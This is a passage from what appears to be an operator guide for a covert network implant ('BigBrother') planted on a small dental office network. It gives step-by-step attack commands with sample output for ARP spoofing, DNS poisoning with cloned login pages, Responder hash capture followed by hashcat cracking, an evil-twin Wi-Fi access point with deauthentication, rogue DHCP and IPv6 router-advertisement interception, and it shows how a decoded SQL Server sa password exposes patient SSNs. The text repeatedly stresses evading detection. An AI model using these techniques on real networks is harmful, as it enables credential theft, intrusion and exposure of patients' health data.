Output: "Zero LDAP traffic detected on ports 389 or 3268. No Active Directory domain, no LDAP directory service."
When this module produces: On AD networks, it passively captures LDAP search queries and responses — user lists, group memberships, computer objects, GPO settings. A single LDAP search response can dump the entire AD user table. Not applicable here.
20. rdp_monitor
Output: "Zero RDP connections detected on TCP/3389 over 72 hours."
No one on this network uses Remote Desktop. All workstations are physically used in-office. If the office had a remote employee or an MSP connecting for support, you would see RDP NLA negotiation with the username, domain, and client hostname in cleartext during the CredSSP exchange.
21. quic_analyzer
What it does: QUIC is Google's transport protocol — HTTP/3 runs over it. It uses UDP/443 instead of TCP/443. The QUIC Initial packet contains a TLS ClientHello (with SNI) that can be decrypted using connection-ID-derived keys per RFC 9001. This is standard decryption — the keys are derived from the publicly visible connection ID, not secret.
Output:
Extracted SNI from 847 QUIC connections over 72h.
TOP DESTINATIONS (by connection count):
google.com 312 connections Chrome/Edge to Google services
youtube.com 189 connections YouTube (high QUIC adoption)
googlevideo.com 118 connections YouTube video delivery CDN
facebook.com 97 connections Facebook/Instagram
googleapis.com 72 connections Google APIs (Drive, Calendar)
gstatic.com 59 connections Google static assets
QUIC accounts for roughly 7-8% of total traffic by bytes on this network — mostly Google and YouTube. Without this module, those 847 connections would be invisible to the TLS SNI extractor (which only handles TCP TLS).
22. db_interceptor
This is the high-value module for this scenario.
How TDS (SQL Server) works on the wire: The Tabular Data Stream protocol is Microsoft's wire protocol for SQL Server. By default, TDS connections on port 1433 are NOT encrypted. The TDS login packet (type 0x10) contains the username and password in a reversible XOR encoding (not real encryption — it's a fixed XOR mask documented in the TDS spec). Queries travel as plaintext TDS SQL Batch packets (type 0x01).
What BigBrother captures:
CONNECTION: 10.0.1.102 (DENTRIX-WS) → 10.0.1.5:1433 (SQLSERVER-01)
TDS Login7 packet:
Username: sa
Password: D3ntrix2024! (decoded from TDS XOR encoding)
Database: DentrixDB
App Name: Dentrix G7
Hostname: DENTRIX-WS
Server: SQLSERVER-01
SQL Queries observed (sample from 24h):
SELECT * FROM patients WHERE last_name = 'DOE'
SELECT patient_id, first_name, last_name, dob, ssn, insurance_id FROM patients WHERE appt_date = '2026-03-18'
INSERT INTO procedures (patient_id, code, description, fee) VALUES (4521, 'D2750', 'Crown - porcelain', 1240.00)
UPDATE patients SET balance = balance + 1240.00 WHERE patient_id = 4521
SELECT * FROM insurance_claims WHERE status = 'pending'
EXEC sp_backup_database @db='DentrixDB', @path='\\DiskStation\Backups\dentrix_20260318.bak'
Why TDS is unencrypted: SQL Server supports TLS ("Encrypt=yes" in the connection string), but Dentrix and most practice management software do not enable it. The vendor default is plaintext TDS. This gives you the sa password (full sysadmin access to the database) and every SQL query — meaning you can see every patient record, SSN, insurance number, and financial transaction that Dentrix touches.
The sa password alone is game over: With sa on SQL Server, you can xp_cmdshell for OS command execution, dump the entire database, create new admin accounts, or modify records. This single credential from passive collection gives you complete control of the practice management system.
Active Modules: How They Actually Work
The following modules require explicit operator activation. On this network with zero security infrastructure (no DAI, no IDS, no EDR, no SIEM), detection risk for all active techniques is essentially zero.
ARP Spoofing — Becoming the Man in the Middle
Protocol-level explanation: ARP (Address Resolution Protocol) maps IP addresses to MAC addresses on a local network. When 10.0.1.101 wants to reach the gateway 10.0.1.1, it broadcasts "Who has 10.0.1.1?" The router responds "10.0.1.1 is at 44:D9:E7:3A:12:F0." The workstation caches this mapping and sends all internet-bound traffic to that MAC address.
What BigBrother does: Sends unsolicited (gratuitous) ARP replies to every target workstation saying "10.0.1.1 is at [BigBrother's MAC]". Simultaneously sends ARP replies to the real gateway saying "[target IP] is at [BigBrother's MAC]." Now both sides think BigBrother is the other end. All traffic flows through BigBrother, which forwards it to the real destination after inspection.
On this network:
sudo bigbrother activate arp_spoof --targets 10.0.1.101-109 --gateway 10.0.1.1
[*] Enabling IP forwarding (net.ipv4.ip_forward=1)
[*] Sending gratuitous ARP: 10.0.1.1 is-at [BB MAC] → 10.0.1.101-109 (every 30s ±5s jitter)
[*] Sending gratuitous ARP: 10.0.1.101-109 is-at [BB MAC] → 10.0.1.1
[+] ARP spoof active — all workstation traffic now routes through BigBrother
What changes for passive modules: Before ARP spoof, the bridge only sees traffic flowing through the front desk's physical port. After ARP spoof, ALL targeted workstations' traffic flows through BigBrother — the credential sniffer, DNS logger, and TLS SNI extractor now see traffic from every workstation, not just the one physically connected.
Detection risk on this network: Zero. Dynamic ARP Inspection (DAI) is disabled on the Netgear ProSAFE (requires DHCP snooping to be enabled first — it is not). No IDS, no EDR, no ARPwatch. The only way ARP spoofing would be noticed is if someone ran arp -a and recognized the wrong MAC address — nobody on this network will do that.
Failure mode: If BigBrother crashes while ARP spoofing, the target workstations have a stale ARP cache pointing to BigBrother's MAC. Traffic stops flowing for 30-120 seconds until ARP entries timeout and hosts re-resolve normally. The crash-recovery cron job sends corrective gratuitous ARPs to restore original mappings within 30 seconds.
DNS Poisoning — Yes, You Can Actually Poison DNS
Can I actually poison DNS on this network? Yes. Here is exactly how it works.
Prerequisite: You need to be in the traffic path. Either ARP spoofing is active (so DNS queries from workstations pass through BigBrother) or DHCP spoofing has set BigBrother as the DNS server.
Step by step:
- Workstation 10.0.1.102 opens Dentrix and the application resolves
portal.dentrix.comvia DNS. - The workstation sends a DNS query (UDP/53) to 10.0.1.1 (the gateway/DNS forwarder).
- Because ARP spoof is active, this packet actually goes to BigBrother first.
- BigBrother's dns_poison module inspects the query. It matches the configured target domain
portal.dentrix.com. - BigBrother immediately sends a DNS response back to the workstation: "portal.dentrix.com is at 10.0.1.200" (BigBrother's IP or a controlled IP).
- This forged response arrives at the workstation BEFORE the legitimate response from the real DNS server (because BigBrother is on the local network — zero hop latency vs. the real DNS server's round-trip time to 8.8.8.8).
- The workstation accepts the first response it receives (standard DNS behavior). The late real response is silently discarded.
- The workstation now connects to BigBrother's IP thinking it's Dentrix.
What happens next depends on the operator's goal:
Credential capture (proxy mode): BigBrother runs mitmproxy or a simple reverse proxy. The workstation connects to BigBrother:443 expecting Dentrix. BigBrother presents a generated TLS certificate for portal.dentrix.com. If the application does not do certificate pinning (most don't), and the user clicks through or ignores the browser warning, the traffic flows through BigBrother in cleartext. BigBrother captures the Dentrix login credentials, then forwards the request to the real Dentrix server. The user logs in normally and never notices.
Credential capture (clone mode): BigBrother serves a pixel-perfect clone of the Dentrix login page. User enters credentials. BigBrother logs them, then redirects to the real site. The user thinks they mistyped their password the first time.
Configuration:
sudo bigbrother activate dns_poison --domains portal.dentrix.com --redirect-to self --mode proxy
[*] DNS poison: portal.dentrix.com → 10.0.1.200 (BigBrother)
[*] Reverse proxy: 10.0.1.200:443 → portal.dentrix.com:443 (with cert interception)
[+] Waiting for DNS queries matching target domains...
What about HTTPS certificate warnings? The workstation will see a certificate mismatch — BigBrother's generated cert is not signed by a trusted CA. In a browser, this shows a red warning page. However:
- Many desktop applications (like Dentrix) either ignore certificate errors or show a dismissable dialog
- Users in dental offices routinely click through certificate warnings
- If you pre-install BigBrother's CA cert on the target workstation (requires prior access), no warnings appear
- For internal HTTP-only services (like the NAS on port 5000), no certificates are involved at all — DNS poisoning is seamless
DNS poisoning on the NAS (zero certificate issue):
sudo bigbrother activate dns_poison --domains diskstation.local --redirect-to self --mode clone
[*] DNS poison: diskstation.local → 10.0.1.200
[*] Serving cloned Synology DSM login page on port 5000 (HTTP — no TLS)
[+] Captured: drjones / Br1ghtSm1les! (from 10.0.1.102)
[+] Captured: jsmith / Welcome2024! (from 10.0.1.101)
Because the NAS uses HTTP (not HTTPS) on port 5000, there are zero certificate warnings. The user sees a login page that looks identical to DSM. They type their password. Done.
Detection risk: Zero on this network. No DNS monitoring, no DNSSEC validation, no IDS inspecting DNS responses. The only theoretical detection would be if someone compared the DNS response IP to the known IP — nobody will.
Responder — LLMNR/NBT-NS Hash Capture
How it works on this network: Windows uses a name resolution chain: DNS → mDNS → LLMNR → NetBIOS Name Service. When DNS fails to resolve a hostname, Windows falls back to LLMNR (Link-Local Multicast Name Resolution) and NBT-NS (NetBIOS Name Service), which are broadcast/multicast protocols — every device on the network sees the request.
Common triggers on this network:
- User types
\\nasinstead of\\DiskStationin File Explorer - A mapped drive points to a hostname that no longer exists (e.g., old NAS was named "Storage")
- Windows WPAD (Web Proxy Auto-Discovery) queries for "wpad.brightsmilesdental.com" — if DNS fails, it broadcasts LLMNR for "wpad"
- Chrome tries to resolve single-label search terms before searching Google
What Responder does: Listens for LLMNR/NBT-NS/mDNS broadcast queries. When a workstation broadcasts "Who has \fileserver?", Responder answers "I'm fileserver!" The workstation tries to authenticate to Responder using its current Windows credentials (NTLMv2 challenge-response). Responder captures the hash.
Expected yield on this network:
CAPTURED WITHIN 48 HOURS:
HASH# USER SOURCE TRIGGER HASH (truncated)
1 jsmith 10.0.1.101 LLMNR: "printserver" jsmith::FRONT-DESK:aabbccdd:4F2E...
2 mgarcia 10.0.1.104 NBT-NS: "wpad" mgarcia::HYGIENE-1:11223344:8A1B...
3 drjones 10.0.1.109 LLMNR: "nas" drjones::MACBOOK-DRJONES:55667788:C3D4...
4 kpatel 10.0.1.107 LLMNR: "storage" kpatel::HYGIENE-2:99aabbcc:F7E8...
5 admin.local 10.0.1.103 NBT-NS: "wpad" admin.local::MANAGER-PC:ddeeff00:1234...
6 frontdesk 10.0.1.101 LLMNR: "server01" frontdesk::FRONT-DESK:aabb1122:5678...
7 accounting 10.0.1.108 LLMNR: "backup" accounting::XRAY-WS:ccdd3344:9ABC...
5-8 unique NTLMv2 hashes within 48 hours on a 15-user network. These are local Windows account hashes (no AD domain, so they're WORKGROUP accounts). The NTLMv2 format is: username::hostname:server_challenge:NTProofStr:blob.
Cracking: Transfer to your GPU rig. hashcat -m 5600 hashes.txt rockyou.txt -r OneRuleToRuleThemAll.rule. On a dental office network, expect 60-80% crack rate. Common patterns: Name2024!, Welcome1, Dental123, Summer2024, etc. An RTX 4090 cracks NTLMv2 at ~10 billion guesses/second — rockyou + one rule set finishes in under 2 minutes.
Detection risk: Zero. No Microsoft Defender for Identity (requires AD), no Suricata/Snort, no CrowdStrike. Windows Defender does not detect LLMNR poisoning responses. No one is watching.
Evil Twin — WiFi Credential Harvesting
Realistic scenario for this network:
Setup: BigBrother (or a second Pi with WiFi adapter) creates a rogue AP with SSID "DentalOffice" on a different channel than the real AP. The evil twin runs at higher power.
sudo bigbrother activate evil_twin --ssid "DentalOffice" --template guest_wifi --deauth
[*] Starting hostapd: SSID "DentalOffice", channel 6
[*] Starting dnsmasq: DHCP 10.0.0.0/24, DNS → captive portal
[*] Captive portal: "WiFi login required" page on 10.0.0.0
[*] Deauth: sending 5 deauth frames to AA:BB:CC:DD:EE:FF (real AP) every 30s
What happens: The deauth frames disconnect devices from the real AP (802.11w is NOT enabled on consumer Ubiquiti APs, so deauth attacks work). Devices automatically reconnect — some will connect to the evil twin because it's on a closer channel or stronger signal.
The user sees: "WiFi login required" — a captive portal page. They enter the WiFi password "MolarMagic2023!" (thinking the WiFi needs re-authentication). Some users enter their Windows or email credentials instead.
What you get:
- WiFi PSK (confirmed from handshake cracking or directly from portal)
- Potentially: Windows credentials or email credentials if users enter them
- Device MAC addresses and probe histories from connected clients
Detection: No WIDS on this network. The only sign is momentary WiFi disconnections — users will blame "bad WiFi" and reconnect.
DHCP Spoofing — Becoming Gateway and DNS
How it works: When a device joins the network (boot, wake from sleep, WiFi reconnect), it sends a DHCP Discover broadcast. The legitimate DHCP server (EdgeRouter) responds with a DHCP Offer. BigBrother races to respond first with its own Offer, setting itself as the default gateway and DNS server.
sudo bigbrother activate dhcp_spoof --gateway self --dns self
[*] Rogue DHCP server active on bridge interface
[*] Offering: gateway=10.0.1.200 (BigBrother), DNS=10.0.1.200
[*] Waiting for DHCP Discover broadcasts...
[+] 10.0.1.104 (HYGIENE-1) rebooted — accepted our DHCP offer
New gateway: 10.0.1.200 New DNS: 10.0.1.200
[+] 10.0.1.150 (iPhone) reconnected to WiFi — accepted our DHCP offer
Advantage over ARP spoof: DHCP spoofing doesn't modify ARP caches — it's cleaner and harder to detect. The downside is it only works on devices that do a DHCP renewal (reboot, wake, or lease expiry). Existing connections with unexpired leases are unaffected until renewal.
On this network: DHCP lease time on the EdgeRouter is probably 24 hours (default). Within 24 hours, every device will have renewed and accepted BigBrother's DHCP offer (assuming BigBrother responds faster than the router, which it will — it's on the same switch). No DHCP snooping is enabled on the Netgear switch, so rogue DHCP responses are not blocked.
IPv6 SLAAC — The Invisible MITM
How it works: Most networks have IPv6 enabled but not configured. Windows, macOS, and Linux all have IPv6 enabled by default and prefer it over IPv4 when available. BigBrother sends IPv6 Router Advertisement (RA) messages, advertising itself as the IPv6 gateway and DNS server.
sudo bigbrother activate ipv6_slaac
[*] Sending Router Advertisements: prefix fd00:bb::/64, DNS=BigBrother's link-local
[+] 10.0.1.101 configured IPv6 address fd00:bb::b05c:daff:fe11:aa01
[+] 10.0.1.102 configured IPv6 address fd00:bb::b05c:daff:fe11:aa02
...
What this gives you: Windows prefers IPv6 over IPv4. DNS queries now go to BigBrother's IPv6 address. Combined with DNS poisoning, this captures credentials without any ARP spoofing. WPAD proxy detection over IPv6 triggers automatic NTLM authentication from every Windows workstation — free NTLMv2 hashes without even running Responder.
Detection: RA Guard is not deployed on consumer/SMB switches. Zero detection risk.
What Produces Zero on This Network
| Module | Why Zero | Would Produce On |
|---|---|---|
| kerberos_harvester | No AD domain, no KDC | Any Active Directory network |
| ldap_harvester | No LDAP directory | AD networks with LDAP (non-TLS) |
| voip_capture | No SIP/PBX, cell phones only | Office with desk phones and IP PBX |
| vlan_discovery | Flat network, no 802.1Q | Enterprise with VLANs |
| rdp_monitor | No remote desktop usage | Environments with RDP jump boxes |
| cloud_token_harvester (passive) | All cloud over HTTPS | Dev networks with HTTP microservices |
| auth_flow_tracker (Kerberos) | No AD | AD networks |
Summary: On a small business without AD, roughly 7 of 22 passive modules produce zero. The high-yield modules for this environment are: dns_logger, credential_sniffer, db_interceptor, print_interceptor, host_discovery, network_mapper, traffic_analyzer, smb_monitor, tls_sni_extractor, quic_analyzer, os_fingerprint, wireless_intel, and protocol_analyzer — 15 modules producing actionable intelligence.
Engagement Timeline Summary
| Day | Action | Key Captures |
|---|---|---|
| 0 | Drop implant (10 min on-site), verify bridge | All passive modules start |
| 1 | Remote check-in, status review | 23 hosts, 31K DNS queries, router creds (HTTP Basic), NAS creds (HTTP POST), SQL sa password (TDS), SNMP community, 7 print jobs with PHI |
| 3 | Deep review, print job analysis | Complete network map, shadow IT (Dropbox), camera default creds, 23 print jobs, employee browsing profiles |
| 5 | Activate Responder + IPv6 SLAAC | 5-8 NTLMv2 hashes within 48h |
| 7 | Crack hashes, activate ARP spoof if needed | 60-80% passwords cracked, full MITM position |
| 8 | DNS poisoning on NAS (HTTP, no cert warnings) | Additional cleartext credentials from every user |
| 10 | Manual recon from jump box (smbmap, smbclient) | NAS shares: PatientRecords, Accounting, passwords.xlsx |
| 14 | Report generation, data pull, retrieval | 24 creds, 11/15 users compromised, full admin access |
Total operator time: 8-10 hours over 2 weeks. The implant does the collection; the operator makes decisions and analyzes results.